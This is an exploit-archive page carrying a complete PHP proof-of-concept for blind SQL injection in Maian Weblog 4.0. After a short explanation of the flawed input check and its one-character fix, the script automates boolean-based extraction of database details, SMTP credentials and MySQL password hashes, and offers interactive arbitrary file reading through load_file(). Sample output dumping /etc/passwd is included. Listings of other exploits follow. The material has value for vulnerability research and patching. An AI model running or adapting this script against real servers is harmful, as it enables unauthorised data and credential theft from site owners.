Menu

Search for hundreds of thousands of exploits

"Maian Weblog 4.0 - Blind SQL Injection"

Author

Exploit author

mr_me

Platform

Exploit platform

php

Release date

Exploit published date

2011-03-09

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
<?php
/*
maian weblog <= v4.0 Remote Blind SQL Injection Exploit
vendor: http://www.maianscriptworld.co.uk/
Thanks to Johannes Dahse: http://bit.ly/dpQXMK

Explanation:
Lines 335 - 341 of the index.php we see this if statement that concerns
our variable $b_post.

   // Check month and year vars...
   // If they don`t equal 0, are they numeric?..
   if ($b_post==0 && !ctype_digit($b_post))
   {
     header("Location: index.php");
     exit;
   }

This if statement is suppose to prevent the SQL Injection vulnerability.
However the logic implimented is incorrect, as there will never be a situation
where the $b_post variable that we control will ever be a 0 and a string value.

So a simple fix to remediate this issue becomes clear, instead of an &&, the
author was suppose to use an ||. o.O

Further down in the index.php page on lines 348 - 361, we see the location of the
actual vulnerable code.

   $q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
                          WHERE id = '$b_post'
                          LIMIT 1
                          ") or die(mysql_error());
   $BLOG = mysql_fetch_object($q_blog);

   // At this point, lets see if the last query fetched anything..
   // If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
   // If no data, redirect to homepage..
   if (mysql_num_rows($q_blog)==0)
   {
     header("Location: index.php");
     exit;
   }

The page redirects after the query is executed. This way you probably won't spot the
bug in your browser from a blackbox view :). No urldecode() so we can't bypass 
magic_quotes_gpc and the admin credentials are not stored in the database. doh.

Using < or > would make the PoC a little more efficient, but oh well :0)	 
Assuming some stars are aligned, the PoC will make well over 11,000 requests...
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080

-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------

(+) Setting the proxy to 127.0.0.1:8080
(+) Getting basic database information
(+) Database version -> 5.1.41-3ubuntu12.9
(+) Database name -> maian_weblog
(+) Database user -> root@localhost
(+) SMTP details found!
(+) Getting SMTP host:user:pass -> localhost:maianmail:password
(+) Access to MySQL database successful, dumping hash!
(+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
(!) Access to load_file(), wanna play? (y/n): y

(+) Please enter the file (q to quit): /etc/shadow
(-) File doesn't exist/no access.
(+) Please enter the file (q to quit): /etc/passwd
(!) Dumping the /etc/passwd file, hold onto your knickers!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:......
*/

print_r("
-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
");

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/
-----------------------------------------------------------------------------
"); die; }

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (ereg("--([^=]+)=(.*)", $arg, $reg)) {
            $_ARG[$reg[1]] = $reg[2];
        } elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {
            $_ARG[$reg[1]] = "true";
        } else {
            $_ARG["input"][] = $arg;
        }
    }
    return $_ARG;
}

$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
    $hostAndPort = explode(":",$myArgs["input"][1]);
    $host = $hostAndPort[0];
    $port = $hostAndPort[1];
}else{
    $port = 80;
}

if(isset($myArgs["p"])){
    $proxyAndPort = explode(":",$myArgs["input"][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo "\n(+) Setting the proxy to ".$proxy.":".$pport;
}else{
    echo "\n(-) Warning, a proxy was not set";
}

// rgods sendpacketii() function
function sendpacket($packet)
{
    global $proxy, $host, $port, $pport, $html, $proxy_regex;
    if (!isset($proxy)) {
        $ock = fsockopen(gethostbyname($host),$port);
        if (!$ock) {
            echo "\n(-) No response from ".$host.":".$port; die;
        }
    }
    else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
            echo "\n(-) Not a valid proxy..."; die;
        }
        $ock=fsockopen($proxy,$pport);
        if (!$ock) {
            echo "\n(-) No response from proxy..."; die;
        }
    }
    fputs($ock,$packet);
    if ($proxy == "") {
        $html = "";
        while (!feof($ock)) {
            $html .= fgets($ock);
        }
    }
    else {
        $html = "";
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
            $html .= fread($ock,1);
        }
    }
    fclose($ock);
    return $html;
}

function read() {
    $fp1 = fopen("/dev/stdin", "r");
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
}

if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function checksqli($sqli, $p){
    $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $html = sendpacket($packet);
    if (strlen($html) > 429) { return 1; } else{ return 0; }
}

function getbasicinfo($p){
    echo "\n(+) Getting basic database information";
    $basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()");
    foreach($basicinfo as $key => $value){
        echo "\n(+) Database ".$key." -> ";
        $admin = ""; $j=1;
        while (!strstr($admin,chr(0))){
            for ($i=1; $i<=126; $i++){
                $sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i;
                $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
                $packet .= "Host: ".$host."\r\n";
                $packet .= "Connection: Close\r\n\r\n";
                $html = sendpacket($packet);
                if (strlen($html) > 429){
                    $admin.= chr($i);
                    echo chr($i); break;
                }
                elseif($i === 126){
                    $admin .= "\x00";
                    break;
                }
            }
        $j++;
        }
    }
}

function getlogindetails($p, $msg, $tsqli){
    echo $msg;
    $tempvar = ""; $j=1;
    while (!strstr($tempvar,chr(0))){
        for ($i=1; $i<=126; $i++){
            if (!strpos($tsqli, "load_file") == true){
                $sqli = $tsqli."+limit+0,1),".$j.",1))='".$i;
            }
            else
            {
                $sqli = $tsqli."),".$j.",1))='".$i;
            }
            $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
            $packet .= "Host: ".$host."\r\n";
            $packet .= "Connection: Close\r\n\r\n";
            $html = sendpacket($packet);
            if (strlen($html) > 429){
                echo chr($i); break;
            }
            elseif($i === 126){
                $tempvar .= "\x00";
                break;
            }
        }
    $j++;
    }

}

function strhex($string)
{
    $hex = "";
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}

getbasicinfo($p);
$smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1";
if (checksqli($smtpsqli, $p)){
    echo "\n(+) SMTP details found!";
    $msg = "\n(+) Getting SMTP host:user:pass -> ";
    $sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
    $sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+";
    $sqli .= "from+mw_settings";
    getlogindetails($p, $msg, $sqli);
}

$mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";
if (checksqli($mysqlsqli, $p)){
    echo "\n(+) Access to MySQL database successful, dumping hash!";
    $msg = "\n(+) MySQL user:pass -> ";
    $sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
    $sqli .= "user,0x3a,password)+from+mysql.user+";
    getlogindetails($p, $msg, $sqli);
    $loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+";
    if (checksqli($loadsqli, $p)){
        echo "\n(!) Access to load_file(), wanna play? (y/n): ";
        $resp = trim(read());
        if(strcmp($resp,"y") === 0){
            $loadfile = "";
            while (strcmp($loadfile, "q") != 0){
                echo "\n(+) Please enter the file (q to quit): ";
                $loadfile = trim(read());
                if (strcmp($loadfile, "q") === 0) { break; }
                $loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+";
                if(checksqli($loadsqli, $p)){
                    $sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile);
                    $msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n";
                    getlogindetails($p, $msg, $sqli);
                }
                else{
                    echo "(-) File doesn't exist/no access.";
                }
            }
        }
        else{
            echo "(-) Ok Exiting..\n"; die;
        }
    }
}
?>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection" webapps java mr_me
2020-02-06 "Cisco Data Center Network Manager 11.2 - Remote Code Execution" webapps java mr_me
2019-12-12 "ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution" webapps multiple mr_me
2019-05-17 "Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution" remote linux mr_me
2018-08-20 "Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution" remote php mr_me
2018-06-25 "Foxit Reader 9.0.1.1049 - Remote Code Execution" remote windows mr_me
2018-01-28 "Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution" remote linux mr_me
2018-01-15 "Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution" remote hardware mr_me
2018-01-03 "Kingsoft Antivirus/Internet Security 9+ - Local Privilege Escalation" local windows mr_me
2017-10-30 "Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure" webapps xml mr_me
2017-09-12 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (2)" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)" local windows mr_me
2017-09-06 "Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation" local windows mr_me
2017-07-05 "Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution" remote php mr_me
2016-05-09 "Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution" remote windows mr_me
2016-03-28 "Cogent Datahub 7.3.9 Gamma Script - Local Privilege Escalation" local windows mr_me
2016-03-07 "ATutor LMS - '/install_modules.php' Cross-Site Request Forgery / Remote Code Execution" webapps php mr_me
2012-06-15 "Useresponse 1.0.2 - Privilege Escalation / Remote Code Execution" webapps php mr_me
2012-06-14 "XM Easy Personal FTP Server 5.30 - Remote Format String Write4" remote windows mr_me
2011-12-23 "Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution Vulnerabilities" webapps php mr_me
2011-12-09 "Docebo Lms 4.0.4 - 'Messages' Remote Code Execution" webapps php mr_me
2011-12-04 "Family Connections CMS 2.5.0/2.7.1 - 'less.php' Remote Command Execution" webapps php mr_me
2011-09-22 "Cogent Datahub 7.1.1.63 - Remote Unicode Buffer Overflow" remote windows mr_me
2011-09-12 "ScadaTEC ModbusTagServer & ScadaPhone - '.zip' Local Buffer Overflow" local windows mr_me
2011-07-31 "Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)" remote windows mr_me
2011-06-20 "Black Ice Fax Voice SDK 12.6 - Remote Code Execution" remote windows mr_me
2011-03-11 "Linux NTP query client 4.2.6p1 - Heap Overflow" dos linux mr_me
2011-03-09 "Maian Weblog 4.0 - Blind SQL Injection" webapps php mr_me
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.